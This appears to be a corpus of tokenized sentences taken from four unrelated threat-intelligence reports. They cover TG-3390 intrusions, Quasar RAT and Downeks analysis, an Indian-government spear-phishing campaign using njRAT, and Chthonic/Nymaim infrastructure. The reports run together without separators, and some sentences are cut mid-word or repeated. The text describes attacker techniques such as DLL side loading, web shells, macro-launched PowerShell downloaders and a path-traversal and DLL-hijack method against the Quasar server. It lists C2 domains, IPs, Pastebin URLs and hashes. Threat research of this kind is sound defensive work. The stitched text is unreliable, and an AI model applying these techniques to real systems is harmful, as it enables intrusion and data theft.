TG-3390 SWCs may be largely geographically independent , but the group's most frequently used C2 registrars and IP net blocks are located in the U.S. Using a U.S. based C2 infrastructure to compromise targets in the U.S. helps TG-3390 actors avoid geo-blocking and geo-flagging measures used in network defense .
The threat actors create PlugX DLL stub loaders that will run only after a specific date .
The compile dates of the samples analyzed by CTU researchers are all later than the hard-coded August 8 , 2013 date , indicating that the code might be reused from previous tools .
The OwaAuth web shell is likely created with a builder , given that the PE compile time of the binary does not change between instances and the configuration fields are padded to a specific size .
The adversaries modify publicly available tools such as ASPXSpy to remove identifying characteristics that network defenders use to identify web shells .
TG-3390 conducts SWCs or sends spearphishing emails with ZIP archive attachments .
The ZIP archives have names relevant to the targets and contain both legitimate files and malware .
One archive sample analyzed by CTU researchers contained a legitimate PDF file , a benign image of interest to targets , and an HttpBrowser installer disguised as an image file .
Both the redirect code on the compromised site and the exploit code appear and disappear , indicating that the adversaries add the code when they want to leverage the SWC and remove the code when it is not in use to limit the visibility of their operations .
The threat actors have evolved to whitelisting IP addresses and only delivering the exploit and payload to specific targets of interest .
CTU researchers have observed TG-3390 compromising a target organization's externally and internally accessible assets , such as an OWA server , and adding redirect code to point internal users to an external website that hosts an exploit and delivers malware .
TG-3390 actors have used Java exploits in their SWCs .
In particular , the threat actors have exploited CVE-2011-3544 , a vulnerability in the Java Runtime Environment , to deliver the HttpBrowser backdoor ; and CVE-2010-0738 , a vulnerability in JBoss , to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code .
In activity analyzed by CTU researchers , TG-3390 executed the Hunter web application scanning tool against a target server running IIS .
Hunter queried the following URIs in a specific order to determine if the associated software configurations are insecure .
TG-3390 uses DLL side loading , a technique that involves running a legitimate , typically digitally signed , program that loads a malicious DLL .
CTU researchers have observed the threat actors employing legitimate Kaspersky antivirus variants in analyzed samples .
The DLL acts as a stub loader , which loads and executes the shell code .
The adversaries have used this technique to allow PlugX and HttpBrowser to persist on a system .
Note : DLL side loading is a prevalent persistence technique that is used to launch a multitude of backdoors .
The challenge is detecting known good software loading and running malware .
As security controls have improved , DLL side loading has evolved to load a payload stored in a different directory or from a registry value .
In other cases , threat actors placed web shells on externally accessible servers , sometimes behind a reverse proxy , to execute commands on the compromised system .
TG-3390 actors have deployed the OwaAuth web shell to Exchange servers , disguising it as an ISAPI filter .
The IIS w3wp.exe process loads the malicious DLL , which CTU researchers have observed in the Program Files\Microsoft\Exchange Server\ClientAccess\Owa\Bin directory .
To traverse the firewall , C2 traffic for most TG-3390 tools occurs over ports 53 , 80 , and 443 .
The PlugX malware can be configured to use HTTP , DNS , raw TCP , or UDP to avoid network-based detection .
In one sample analyzed by CTU researchers , PlugX was configured with hard-coded user credentials to bypass a proxy that required authentication .
Newer HttpBrowser versions use SSL with self-signed certificates to encrypt network communications .
TG-3390 actors frequently change the C2 domain's A record to point to the loopback IP address 127.0.0.1 , which is a variation of a technique known as " parking " .
Other variations of parking point the IP address to Google 's recursive name server 8.8.8.8 , an address belonging to Confluence , or to other non-routable addresses .
When the adversaries' operations are live , they modify the record again to point the C2 domain to an IP address they can access .
CTU researchers have discovered numerous details about TG-3390 operations , including how the adversaries explore a network , move laterally , and exfiltrate data .
After compromising an initial victim's system ( patient 0 ) , the threat actors use the Baidu search engine to search for the victim's organization name .
They then identify the Exchange server and attempt to install the OwaAuth web shell .
If the OwaAuth web shell is ineffective because the victim uses two-factor authentication for webmail , the adversaries identify other externally accessible servers and deploy ChinaChopper web shells .
Within six hours of entering the environment , the threat actors compromised multiple systems and stole credentials for the entire domain .
The threat actors use the Hunter and nbtscan tools , sometimes renamed , to conduct network reconnaissance for vulnerable servers and online systems .
TG-3390 actors favor At.exe to create scheduled tasks for executing commands on remote systems .
Over a few days' span , the threat actors install remote access tools on additional systems based upon the results of the network reconnaissance .
They use At.exe to schedule tasks to run self-extracting RAR archives , which install either HttpBrowser or PlugX .
CTU researchers observed the threat actors collecting Cisco VPN profiles to use when accessing the victim's network via VPN .
To facilitate lateral movement , the adversaries deploy ASPXTool web shells to internally accessible systems running IIS .
CTU researchers have observed the threat actors encrypting data using the password " admin-windows2014 " and splitting the RAR archives into parts in the recycler directory , with the same name as the uncompressed data .
The number at the end of the password corresponds to the year of the intrusion .
For example , the password " admin-windows2014 " shown in Figure 14 was changed to "admin-windows2015" for TG-3390 intrusions conducted in 2015 .
CTU researchers have observed TG-3390 actors staging RAR archives , renamed with a .zip file extension , on externally accessible web servers .
The adversaries then issue HTTP GET requests , sometimes with the User-Agent MINIXL , to exfiltrate the archive parts from the victim's network .
Successfully evicting TG-3390 from an environment requires a coordinated plan to remove all access points , including remote access tools and web shells .
Within weeks of eviction , the threat actors attempt to access their ChinaChopper web shells from previously used IP addresses .
Finding the web shells inaccessible , the adversaries search google.co.jp for remote access solutions .
CTU researchers discovered the threat actors searching for " [company] login , " which directed them to the landing page for remote access .
TG-3390 attempts to reenter the environment by identifying accounts that do not require two-factor authentication for remote access solutions , and then brute forcing usernames and passwords .
After reestablishing access , the adversaries download tools such as gsecudmp and WCE that are staged temporarily on websites that TG-3390 previously compromised but never used .
CTU researchers believe legitimate websites are used to host tools because web proxies categorize the sites as benign .
TG-3390 actors keep track of and leverage existing ASPXTool web shells in their operations , preferring to issue commands via an internally accessible web shell rather than HttpBrowser or PlugX .
After reentering an environment , the threat actors focus on obtaining the active directory contents .
TG-3390 is known for compromising organizations via SWCs and moving quickly to install backdoors on Exchange servers .
Despite the group's proficiency , there are still many opportunities to detect and disrupt its operation by studying its modus operandi .
The threat actors work to overcome existing security controls , or those put in place during an engagement , to complete their mission of exfiltrating intellectual property .
Uses RijndaelManaged instead of AES for encryption .
 ( with ECB mode , which is considered weak ) .
Quasar contains the NetSerializer library that handles serialization of high level IPacket objects that the client and server use to communicate .
The serialization assigns unique IDs for serializable objects types .
The open source and several other samples we found give a dynamically-assigned 1 byte ID at compile time .
The sample we analyzed changed that behavior and hard-coded DWORD for each object type .
This is a better implementation , as it allows servers and clients from different versions to communicate with each other to some extent .
The sample we analyzed is most likely forked from open source quasar 1.2.0.0 .
We find multiple file/object names hinting at the version , but must compelling :Quasar version 1.1.0.0 names the encryption module name space “ Encryption ” , while subsequent Quasar versions use “ Cryptography ” – which we observe in this sample .
Quasar version 1.3.0.0 changed the encryption key generation , and stopped saving the password in the sample .
There are more indications as well , such as names of objects , files etc .
Other samples we analyzed had different combinations of modification to cryptography and serialization .
Our decompilation of the serialization library was not complete enough to allow simple recompilation .
Instead , we downloaded and compiled the 1.2.0.0 server of the open-source Quasar RAT , having determined that this seemed likely the most similar version .
The out-of-the-box server could not communicate with the client sample owing to the previously documented modifications that we had observed .
We incorporated those changes into our build , discovering that this worked for most sample versions with almost no further modification .
Both the client and the server use the same code to serialize and encrypt the communications .
Instead of compiling a different server for each client , our server uses the code from within the client to communicate with it .
Using Reflection , the server can load the assembly of the client to find the relevant functions and passwords .
This was more complex .
Both the client and server uses the same API , but the client serializer cannot serialize server objects , because they are not the same as their “ mirrored ” objects inside the client .
In some cases these objects are completely different , for example the server commands to get the file system .
Our solution is to :Translate on the fly the objects the server send to mirrored matching client objects ( will not work if client doesn’t have this object , or renamed it ) .
Copy the content from the server object into the new client object ( will not work if client implementation is different ) .
Serialize the client object ( which will be later encrypted and sent ) .
Deserialize the decrypted response into another client response object .
Translate the client response object into the server version of the client response object .
Copy the contents from the client response object into the translated server object .
Return the translated object .
Our sample communicates with app.progsupdate.com , which resolved to 185.141.25.68 , over TCP port 4664 .
The server sends a command .
 for example , “ Get System Information ” .
The command is translated to an IPacket of type GetSystemInfo .
The packet is serialized into a stream of bytes .
The stream of bytes is encrypted ( in some versions there is also optional compression step ) .
The stream of bytes is sent over TCP to the client .
The client receives and decrypts the packet .
The client deserializes the packet into IPacket GetSystemInfo .
The relevant handler of the client is called , collects the system information and sends it back inside IPacket of GetSystemInfoResponse .
Each of these layers seems to be different to some extent in the various samples we found .
The IPacket , Serialization and Encryption framework code is shared between the client and the server , therefore we can use it with Reflection .
However the Server handlers and command function are not , so we cannot create a completely perfect simulation .
The attacker can issue commands ( not all commands appear in different samples ) through the Quasar server GUI for each client :Get system information .
Get file system .
Upload / download / execute files .
Startup manager .
Open task manager .
Kill / start processes .
Edit registry .
Reverse Proxy .
Shutdown / restart the computer .
Open remote desktop connection .
Observe the desktop and actions of active user .
Issue remote mouse clicks and keyboard strokes .
Password stealing .
Retrieve Keylogger logs .
Visit website .
Display a message box .
The file system commands underling handlers and IPacket were modified to support more features , so these commands don’t work out of the box and required manual implementation from us .
With further analysis of the Quasar RAT C2 Server , we uncovered vulnerabilities in the server code , which would allow remote code execution .
This might allow a second attacker to install code of their choice – for example , their own Quasar RAT – on the original attacker ’s server .
We refer to this ( somewhat ironic ) technique as a “ Double Edged Sword Attack ” .
We did not apply this to any live C2 servers – we only tested this with our own servers in our lab .
In the lab , we changed our Quasar RAT source code to use the known encryption key , and to send fake victim IP address , City , Country code , Flag , and Username .
The Quasar serve does not verify the RAT data , and displays this data in the RAT Server GUI when the RAT is executed and connects to the server .
We found this could be used to supply compelling “ victim data ” to convince the attacker to connect to this “ victim ” via the GUI .
Quasar serve includes a File Manager window , allowing the attacker to select victim files , and trigger file operations – for example , uploading a file from victim machine to server .
Uploaded files are written to the server sub directory “ clients\user_name@machine_name_ipaddress ” .
Quasar serve does not verify that the size , filename , extension , or header of the uploaded file is the same as requested .
Therefore , if we convince the attacker to request the file “ secret_info.doc ( 20KB ) ” , we can instead return to the server any file of our choice , of any size or type .
When the Quasar serve retrieves the name of the uploaded file from the victim , it does not verify that it is a valid file path .
Therefore sending the file path “ ..\..\ secret_info.doc ”will result in writing our file instead to the same directory as the Quasar serve code .
Quasar serve does not even verify that a file was requested from the victim .
Immediately when the File Manager window is opened by the attacker , the Quasar serve sends two commands to the RAT : GetDrives and listDirectory ( to populate the list of the victim ’s files in the RAT Server GUI ) .
We can respond to those commands by instead sending two files of our choice to the Quasar serve .
Again , we control the content of the file , the size and the path and filename .
Quasar is a .NET Framework assembly , loading multiple DLLs upon launch , for example “ dnsapi.dll ” .
Quasar serve is vulnerable to a simple DLL hijacking attack , by using this technique to replace server DLLs .
When the attacker restarts the Quasar application , our uploaded “ dnsapi.dll ” will instead be loaded .
Through this vector , we could drop our own Quasar clien on the attacker ’s server and execute it .
Our Quasar RAT will connect to our own ( secured , of course ) Quasar serve , allowing us to control that attacker ’s server with his own RAT .
We can also replace “ shfolder.dll ” ( and add a DLL export proxy to avoid a crash ) , which is loaded whenever the attacker clicks the builder tab – allowing us to infect the server while it runs , without the need to wait for application restart .
Although Downeks has been publicly examined to some extent , our analysis found several features not previously described .
Earlier Downeks samples were all written in native code .
However , among our Downeks samples , we found new versions apparently written in .NET .
We observe many behavioral similarities and unique strings across both the native-Downeks versions , and the new .NET Downeks versions .
Almost all of the strings and behaviors we describe in this analysis of a .NET version are also present in the native version .
We observed these samples deployed only against Hebrew-speaking targets .
Downeks .NET internal name is “ SharpDownloader ” , “ Sharp ” may be a reference to the language it was written in – C# .
As seen in previous Downeks versions , it uses masquerades with icons , filenames and metadata imitating popular legitimate applications such as VMware workstation and CCleaner , or common file formats such as DOC and PDF .
All 3 samples were compiled with the same timestamp .
Downeks.NET is obfuscated using “ Yano ” and can be easily de-obfuscated using the de4dot utility .
SHA256 : 4dcf5bd2c7a5822831d9f22f46bd2369c4c9df17cc99eb29975b5e8ae7e88606 .
SHA256 : 905f6a62749ca6f0fd33345d6a8b1831d87e9fd1f81a59cd3add82643b367693 .
SHA256 : c885f09b10feb88d7d176fe1a01ed8b480deb42324d2bb825e96fe1408e2a35f .
Downeks is a backdoor with only very basic capabilities .
It communicates with the C2 server using HTTP POST requests .
It runs in an infinite loop , in each iteration it requests a command from the C2 , and then it sleeps for a time period it receives in the C2 response ( defaulting to 1 second if no sleep-time sent ) .
The data that is sent in the POST is serialized with json , which is then is encrypted , and finally encoded in base64 .
The json format is typically { “mth ” :” some_method ” , “ data ” :” some_encrypted_data ” } .
server responds using the same format and serialization/encryption/encoding .
As described in earlier analyses , Downeks ’ main purpose is as a downloader .
Unfortunately , we were unable to get anyservers to issue download commands to any samples that we tested in our lab .
The download is initiated upon receiving json with a “ download ” command , which includes the URL of the file to be downloaded .
Downeks can also be instructed to execute binaries that already exist on the victim machine .
After successful execution , Downeks returns the results to theDowneks also has a self-update capability , if instructed by the C2 .
Downeks can be instructed with the “ img ” command to capture the victim screen and transmit it back to the C2 .
The parameters “ wth ” and “ qlt ” specify “ width ” and “ quality ” .
Downeks .NET creates a file in the “ Appdata ” directory , based on certain properties of the machine .
During our analysis , Downeks created a file in “ Appdata\Roaming ” containing only “ SD{new line} 0 ” ( “ SD ” possibly for “ SharpDownloader ” ) .
Although this file itself is not particularly interesting , the older ( native ) Downeks versions also creates a file in Appdata\Roaming , with identical data .
The filenames across the two variants bear striking similarities .
The .NET variant creates “ 1FABFBFF0000065132F71D94 ” , while the native version creates “ 000206511FABFBFF ” .
We observed the string “ 1FABFBFF0000065132F71D94 ” in memory during debugging of the native variant .
This is a pseudo-unique ID for each machine , based on install date taken from the registry , volume serial number , OS version and service pack , Processor architecture , and computer name .
Downeks enumerates any antivirus products installed on the victim machine and transmits the list to the C2 .
It constructs this list using the WMI query : “SELECT displayName FROM AntivirusProduct ” .
Downeks achieves host persistence through either the registry “ run ” key or with a shortcut in the start-up folder .
In another similarity between both variants , Dowenks assesses the victim ’s external IP using an HTTP request toDowneks can be instructed by the C2 to perform a few other commands :Check if the computer name and user name , or external IP address , is in a provided list and if so , display a message box with a message as defined by the C2 .
Kill any running process and attempt to delete the associated executable .
 “ Setup ” command – sends various info about the machine with each iteration of the C2 communications loop .
Downeks has static encryption keys hardcoded in the code .
Palo Alto Networks customers are protected from Downeks and Quasar used in this attack :WildFire properly classifies these Downeks and Quasar samples as malicious .
Traps detects and blocks malicious behavior exhibited by new , unknown Quasar samples .
C2 servers associated with this activity are blocked through Threat Prevention DNS signatures .
URI TERROR ATTACK & KASHMIR PROTEST THEMED SPEAR PHISHING emails TARGETING INDIAN EMBASSIES AND INDIAN MINISTRY OF EXTERNAL AFFAIRS - CYSINFO .
In my previous blog I posted details of a cyber attack targeting Indian government organizations .
This blog post describes another attack campaign where attackers used the Uri terror attack and Kashmir protest themed spear phishing email to target officials in the Indian Embassies and Indian Ministry of External Affairs ( MEA ) .
In order to infect the victims , the attackers distributed spear-phishing emails containing malicious word document which dropped a malware capable of spying on infected systems .
The email purported to have been sent from legitimate email ids .
The attackers spoofed the email ids associated with Indian Ministry of Home Affairs to send out email to the victims .
Attackers also used the name of the top-ranking official associated with Minister of Home affairs in the signature of the email , this is to make it look like the email was sent by a high-ranking Government official associated with Ministry of Home Affairs ( MHA ) .
In the The first wave of attack , The attackers spoofed an email id that is associated with Indian Ministry of Home Affairs ( MHA ) and an email was sent on September 20th , 2016 ( just 2 days after the Uri terror attack ) to an email id associated with the Indian Embassy in Japan .
The email was made to look like as if an investigation report related to Uri terror attack was shared by the MHA official .
On Sept 20th,2016 similar Uri Terror report themed email was also sent to an email id connected with Indian embassy in Thailand .
This email was later forwarded on Oct 24th,2016 from a spoofed email id which is associated with Thailand Indian embassy to various email recipients connected to the Indian Ministry of External Affairs as shown in the below screen shot .
In this case Attackers again spoofed an email id associated with Indian Ministry of Home Affairs and the mail was sent on September 1,2016 to an email id associated Thailand Indian embassy , this email was later forwarded on Oct 24th,2016 from a spoofed email of Thailand Indian embassy to various email recipients connected to the Indian Ministry of External Affairs ( MEA ) .
This time the email was made to look like an investigation report related to Jammu & Kashmir protest was shared by the Ministry of Home Affairs Official and the forwarded email was made to look like the report was forwarded by an Ambassador in Thailand Indian embassy to the MEA officials .
From the emails ( and the attachments ) it looks like the goal of the attackers was to infect and take control of the systems and also to spy on the actions of the Indian Government post the Jammu & Kashmir protest and Uri Terror attack .
When the victim opens the attached word document it prompts the user to enable macro content and both the documents ( Uri Terror Report.doc and mha-report.doc ) displayed the same content and contained a Show Document button .
In case of both the documents ( Uri Terror Report.doc and mha-report.doc ) the malicious macro code was heavily obfuscated (used obscure variable/function names to make analysis harder ) and did not contain any auto execute functions .
Malicious activity is trigged only on user interaction , attackers normally use this technique to bypass sandbox/automated analysis .
Reverse engineering both the word documents ( Uri Terror Report.doc & mha-report.doc ) exhibited similar behaviour except the minor difference mentioned below .
In case of mha-report.doc the malicious activity triggered only when the show document button was clicked , when this event occurs the macro code calls a subroutine CommandButton1_Click() which in turn calls a malicious obfuscated function ( Bulbaknopka() ) .
In case of Uri Terror Report.doc the malicious activity triggered when the document was either closed or when the show document button was clicked , when any of these event occurs a malicious obfuscated function ( chugnnarabashkoim() ) gets called .
The malicious macro code first decodes a string which contains a reference to the pastebin url .
The macro then decodes a PowerShell script which downloads base64 encoded content from the pastebin url .
The base64 encoded content downloaded from the Pastebin link is then decoded to an executable and dropped on the system .
The technique of hosting malicious code in legitimate sites like Pastebin has advantages and it is highly unlikely to trigger any suspicion in security monitoring and also can bypass reputation based devices .
The dropped file was determined as modified version of njRAT trojan .
The dropped file ( officeupdate.exe ) is then executed by the macro code using the PowerShell script .
 njRAT is a Remote Access Tool ( RAT ) used mostly by the actor groups in the middle east .
Once infected njRAT communicates to the attacker and allows the attacker to log keystrokes , upload/download files , access victims web camera , audio recording , steal credentials , view victims desktop , open reverse shell etc .
The dropped file was analyzed in an isolated environment ( without actually allowing it to connect to the c2 server ) .
Once the dropped file ( officeupdate.exe ) is executed the malware drops additional files ( googleupdate.exe , malib.dll and msccvs.dll ) into the %AllUsersProfile%\Google directory and then executes the dropped googleupdate.exe Upon execution malware makes a connection to the c2 server on port 5555 and sends the system & operating system information along with some base64 encoded strings to the attacker as shown below .
This section contains the details of the c2 domain ( khanji.ddns.net ) .
Attackers used the DynamicDNS to host the c2 server , this allows the attacker to quickly change the IP address in real time if the malware c2 server infrastructure is unavailable .
The c2 domain was associated with multiple IP addresses in past .
During the timeline of this cyber attack most of these IP addresses were located in Pakistan and few IP addresses used the hosting provider infrastructure .
The c2 domain ( khanji.ddns.net ) was also found to be associated with multiple malware samples in the past , Some of these malware samples made connection to pastebin urls upon execution , which is similar to the behavior mentioned previously .
Based on the base64 encoded content posted in the Pastebin , userid associated with the Pastebin post was determined .
The same user posted multiple similar posts most of them containing similar base64 encoded content ( probably used by the malwares in other campaigns to decode and drop malware executable ) , these posts were made between July 21st , 2016 to September 30 , 2016 .
Below screen shot shows the posts made by the user , the hits column in the below screen shot gives an idea of number of times the links were visited ( probably by the malicious macro code ) , this can give rough idea of the number of users who are probably infected as a result of opening the malicious document .
Doing a Google search for the Pastebin userid landed me on a YouTube video posted by an individual demonstrating his modified version of njRAT control panel/builder kit .
The Pastebin userid matched with the email ID mentioned by this individual in the YouTube video description section .
This same keyword was also found in the njRAT c2 communication used in this attack .
After inspecting the njRAT builder kit it was determined that this individual customized the existing njRAT builder kit to bypass security products .
The product information in the builder kit matched with this individual ’s YouTube username and the YouTube channel .
The njRAT used in this cyber attack was built from this builder kit .
Based on this information it can be concluded that espionage actors used this individual ’s modified version of njRAT in this cyber attack .
Even though this individual ’s email id matched with the Pastebin id where base64 encoded malicious code was found , it is hard to say if this individual was or was not involved in this cyber attack .
It could be possible that the espionage actors used his public identity as a diversion to mislead and to hide the real identity of the attackers or it is also possible that this individual was hired to carry out the attack .
The indicators are provided below , these indicators can be used by the organizations ( Government , Public and Private organizations ) to detect and investigate this attack campaign .
 14b9d54f07f3facf1240c5ba89aa2410 ( googleupdate.exe ) .
 2b0bd7e43c1f98f9db804011a54c11d6 ( malib.dll ) .
 feec4b571756e8c015c884cb5441166b ( msccvs.dll ) .
 84d9d0524e14d9ab5f88bbce6d2d2582 ( officeupdate.exe ) .
 khanji.ddns.net 139.190.6.180 39.40.141.25 175.110.165.110 39.40.44.245 39.40.67.219 .
 http://pastebin.com/raw/5j4hc8gT http://pastebin.com/raw/6bwniBtB .
 028caf3b1f5174ae092ecf435c1fccc2 7732d5349a0cfa1c3e4bcfa0c06949e4 9909f8558209449348a817f297429a48 63698ddbdff5be7d5a7ba7f31d0d592c 7c4e60685203b229a41ae65eba1a0e10 e2112439121f8ba9164668f54ca1c6af .
Attackers in this case made every attempt to launch a clever attack campaign by spoofing legitimate email ids and using an email theme relevant to the targets .
The following factors in this cyber attack suggests the possible involvement of Pakistan state sponsored cyber espionage group to mainly spy on India ’s actions related to these Geo-political events ( Uri terror attack and Jammu & Kashmir protests ) .
Victims/targets chosen ( Indian Embassy and Indian MEA officals ) .
Use of email theme related to the Geo-political events that is of interest to the targets .
Timing of the spear phishing emails sent to the victims .
Location of the c2 infrastructure .
Use of malware that is capable of spying on infected systems .
The following factors show the level of sophistication and reveals the attackers intention to remain stealthy and to gain long-term access by evading anti-virus , sandbox and security monitoring at both the desktop and network levels .
Use of obfuscated malicious macro code .
Use of macro code that triggers only on user intervention ( to bypass sandbox analysis ) .
Use of legitimate site ( Pastebin ) to host malicious code ( to bypass security monitoring ) .
Use of customized njRAT ( capable of evading anti-virus ) .
The Curious Case of Notepad and Chthonic : Exposing a Malicious Infrastructure .
Recently , I ’ve been investigating malware utilizing PowerShell and have spent a considerable amount of time refining ways to identify new variants of attacks as they appear .
This posting is a follow-up of my previous work on this subject in“ Pulling Back the Curtains on EncodedCommand PowerShell Attacks ” .
In a sample I recently analyzed , something stood out as extremely suspicious which led me down a rabbit hole , uncovering malicious infrastructure supporting Chthonic , Nymaim , and other malware and malicious websites .
Throughout this blog post I present my analysis and thought process during this research , but if you would just like a list of the findings , they are over on our Unit42 GitHub .
Most commonly , PowerShell is launched from a Microsoft Office document that uses a VBA macro to launch PowerShell to perform something malicious – typically downloading the “ real ” malware to run .
I focused my hunting on the PowerShell activity with Palo Alto Networks AutoFocus to determine whether it ’s worth digging into further based on “ uniqueness ” and functionality .
In this case , the first sample I looked at stood out for another reason entirely .
If you take a look at the below PowerShell , you ’ll quickly understand why .
Most commonly , PowerShell is launched from a Microsoft Office document that uses a VBA macro to launch PowerShell to perform something malicious – typically downloading the “ real ” malware to run .
I focused my hunting on the PowerShell activity with Palo Alto Networks AutoFocus to determine whether it ’s worth digging into further based on “ uniqueness ” and functionality .
My initial thought was the worst-case scenario – they ’ve been compromised and are distributing malware ! I immediately downloaded the file from the website , but everything looked normal .
Of course , I had to investigate further .
Looking under the hood we see the VBA code that builds thecommand and launches it but something seemed off .
There are a ton of functions that are clearly decoding information from arrays after which it executes an already decoded PowerShell command .
I decided to debug the macro and see exactly what it ’s doing before I made any decisions .
The most likely conclusion that can be drawn here is that an analyst or researcher obtained this file , modified it to see the content ( misspelling the variable name along the way ) post-decoding , and uploaded it to see what it did in a sandbox .
To be sure though , I needed to find other samples and see how they stacked up against this one .
Going back to the PowerShell command , the initial reason I stopped to look at it was due to the way they concatenated variables to form the download command and output .
This also provides a perfect pivot point to hunt for samples .
The dates were all fairly recent , having been received in the past few days since the beginning of August .
The documents shared the same themes for lures but the VBA macro and resulting PowerShell were more along the lines of what I expected .
For sample “ 538ff577a80748d87b5e738e95c8edd2bd54ea406fe3a75bf452714b17528a87 ” the following is an excerpt from the VBA macro building the PowerShell command .
Along with the subsequent Process Activity using the newly built PowerShell command , which aligns with what was commented out of the first sample analyzed .
Given this , I iterated over all 171 samples and extracted the following URL ’s where PowerShell is downloading a payload :After iterating over the 171 samples , we ’re left with this list of hashes for the downloaded files .
Note that there are fewer payloads than there are samples , indicating many of the documents download the same payload .
Below is a table with the compile date and some PDB strings found within a few of the binaries .
Most of the compile times are within the past two months , with 6 in August and a couple from as recently as two days ago at the time of this writing .
 29c7740f487a461a96fad1c8db3921ccca8cc3e7548d44016da64cf402a475ad 2016-12-10 01 .
 d5e56b9b5f52293b209a60c2ccd0ade6c883f9d3ec09571a336a3a4d4c79134b 2016-12-10 03 C:\RAMDrive\Charles\heaven\reams\Teac.pdb .
 dd5f237153856d19cf20e80ff8238ca42047113c44fae27b5c3ad00be2755eea 2016-12-10 16 C:\Cleaner\amuse\rang\AutoPopulate\la.pdb .
 a5001e9b29078f532b1a094c8c16226d20c03922e37a4fca2e9172350bc160a0 2016-12-20 18 .
 8284ec768a06b606044defe2c2da708ca6b3b51f8e58cb66f61bfca56157bc88 2017-07-05 10 .
 f0ce51eb0e6c33fdb8e1ccb36b9f42139c1dfc58d243195aedc869c7551a5f89 2017-07-09 20 C:\TableAdapter\encyclopedia\Parik.pdb .
 145d47f4c79206c6c9f74b0ab76c33ad0fd40ac6724b4fac6f06afec47b307c6 2017-07-10 08 C:\ayakhnin\reprductive\distortedc.pdb .
 dc8f34829d5fede991b478cf9117fb18c32d639573a827227b2fc50f0b475085 2017-07-11 01 C:\positioning\scrapping\Szets\thi.pdb .
 7fe1069c118611113b4e34685e7ee58cb469bda4aa66a22db10842c95f332c77 2017-07-11 02 C:\NeXT\volatile\legacyExchangeDNs.pdb .
 5edf117e7f8cd176b1efd0b5fd40c6cd530699e7a280c5c7113d06e9c21d6976 2017-07-12 23 .
 2a80fdda87127bdc56fd35c3e04eb64a01a159b7b574177e2e346439c97b770a 2017-07-13 00. a9021e253ae52122cbcc2284b88270ceda8ad9647515d6cca96db264a76583f5 2017-07-18 00 .
 dd639d76ff6f33bbfaf3bd398056cf4e95e27822bd9476340c7703f5b38e0183 2017-07-18 00 .
 e5a00b49d4ab3e5a3a8f60278b9295f3d252e3e04dadec2624bb4dcb2eb0fada 2017-07-24 17 .
 6263730ef54fbed0c2d3a7c6106b6e8b12a6b2855a03e7caa8fb184ed1eabeb2 2017-07-24 22 C:\Snapshot\Diskette\hiding\ROCKMA.pdb .
 43bfaf9a2a4d46695bb313a32d88586c510d040844f29852c755845a5a09d9df 2017-07-25 06 .
 b41660db6dcb0d3c7b17f98eae3141924c8c0ee980501ce541b42dc766f85628 2017-07-25 06 C:\mdb\Changed\Container\praise.pdb .
 9acdad02ca8ded6043ab52b4a7fb2baac3a08c9f978ce9da2eb51c816a9e7a2e 2017-07-25 07 .
 2ddaa30ba3c3e625e21eb7ce7b93671ad53326ef8b6e2bc20bc0d2de72a3929d 2017-07-25 20 C:\helpers\better\Expr\Eight\DS.pdb .
 b836576877b2fcb3cacec370e5e6a029431f59d5070da89d94200619641ca0c4 2017-07-26 12 C:\V\regard\violates\update\AMBW\a.pdb .
 0972fc9602b00595e1022d9cfe7e9c9530d4e9adb5786fea830324b3f7ff4448 2017-07-26 20 .
 2c258ac862d5e31d8921b64cfa7e5a9cd95cca5643c9d51db4c2fcbe75fa957a 2017-07-27 01 C:\executablery\constructed\IIc.pdb .
 dd9c558ba58ac81a2142ecb308ac8d0f044c7059a039d2e367024d953cd14a00 2017-07-27 02 .
 cb3173a820ac392005de650bbd1dd24543a91e72d4d56300a7795e887a8323b2 2017-07-31 14 C:\letterbxing\EVP\Chices\legit.pdb .
 a636f49814ea6603534f780b83a5d0388f5a5d0eb848901e1e1bf2d19dd84f05 2017-07-31 18 C:\Biomuse\moment\705\cnvincing.pdb .
 677dd11912a0f13311d025f88caabeeeb1bda27c7c1b5c78cffca36de46e8560 2017-07-31 21 .
 fdedf0f90d42d3779b07951d1e8826c7015b3f3e724ab89e350c9608e1f23852 2017-08-01 21 .
 142bf7f47bfbd592583fbcfa22a25462df13da46451b17bb984d50ade68a5b17 2017-08-02 09 .
 6f4b2c95b1a0f320da1b1eaa918c338c0bab5cddabe169f12ee734243ed8bba8 2017-08-02 12 C:\cataloging\Dr\VarianceShadows11.pdb .
 fd5fd7058cf157ea249d4dcba71331f0041b7cf8fd635f37ad13aed1b06bebf2 2017-08-04 02 C:\dumplings\That\BIT\Warez\loc.pdb .
 5785c2d68d6f669b96c3f31065f0d9804d2ab1f333a90d225bd993e66656b7d9 2017-08-07 12 C:\Lgisys\hypothesized\donatedc.pdb .
 675719a9366386034c285e99bf33a1a8bafc7644874b758f307d9a288e95bdbd 2017-08-07 17 C:\work\cr\nata\cpp\seven\seven\release\seven.pdb .
At least one of the binaries compiled in August had a PDB string I was able to locate online in a collection of other PDB files , so they may be introducing their malicious code into these files before compiling someone else ’s project .
Once the file has been downloaded and executed , the new process will launch a legitimate executable , such as “ msiexec.exe ” , and inject code into it .
This code will then download further payloads through a POST request to various websites .
This pattern is shared across the original samples .
These HTTP requests match known patterns for a banking Trojan named Chthonic , which is a variant of Zeus .
A good write-up from 2014 on the malware can be found in this writeup from Yury Namestnikov , Vladimir Kuskov , Oleg Kupreev at Kaspersky Lab here and indicates that the returned data is an RC4 encrypted loader that sets-up the main Chthonic module which can download additional modules or malware .
Iterating once again over the 171 samples and scraping out the HTTP POST requests , I ended up with the below set of domains :amellet.bit danrnysvp.com ejtmjealr.com firop.com gefinsioje.com gesofgamd.com ponedobla.bit unoset.com .
Using this as the next pivot , we have 6,034 unique samples that get returned in AutoFocus having made POST requests to these sites .
Additionally , we can see there were at least 3 very large campaigns where Palo Alto Networks saw activity to these sites in July .
From these distribution sites , we can see that 5,520 samples are making HTTP requests to them and these samples have been identified as another downloader Trojan named Nymaim .
The majority of the overall samples came from the following four sites :ejtmjealr.com gefinsioje.com gesofgamd.com ponedobla.bit .
The ‘ ejtmjealr.com ’ domain is particularly interesting due to a similar domain , ‘ ejdqzkd.com ’ being discussed by Jarosław Jedynak of CERT.PL in this analysis of Nymaim from earlier in the year .
They go on to discuss how Nymaim uses a static configuration to contact that domain , which will return IP ’s that go into a DGA and output the actual IP addresses needed for C2 communication .
Ben Baker , Edmund Brumaghin and Jonah Samost of Talos have a fantastic write-up of this process here .
To continue my analysis , I shifted focus to Maltego so as to visually graph the infrastructure .
For this task , I used PassiveTotal ’s Passive DNS and AutoFocus Maltego transforms .
Pivoting off the five highlighted IP ’s above with a shared infrastructure , I pulled the reverse DNS to see what other sites may be present .
